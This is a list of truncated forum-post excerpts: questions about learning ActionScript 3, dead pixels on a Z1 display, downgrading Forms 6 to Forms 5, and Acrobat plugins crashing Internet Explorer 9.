As per most peoples advice I bought Essential as3 and Im finding it extremely usefull and yet at the same time extremely hard to understand, I'm thinking of reading the book 3 or 4 times over to get a good grasp of some topics. Now my question is, Im
-
Hi all, I've recently had a line of dead/stuck pixels (I realise they're two different issues, but I cannot decipher for sure which one my Z1 is suffering from). The line of pixels runs down the very middle of the display and is most visible agains
-
Hi there, Does anyone know if I can convert from Forms 6 back to Forms 5? I have not used any extra functions provided in Forms 6. Any suggestion would be most welcome. Thanks. Ivor Brisbane, Australia
-
Replacing AVDocClose causes I.E. 9 to crash
Hi guys, I just wanted to bring this to everyone's attention in case someone else runs into the issue. My Reader enabled 10 and Acrobat 10 Core API plugins are causing I.E. 9 to crash. The customer browses to a web page that contains links to pdf doc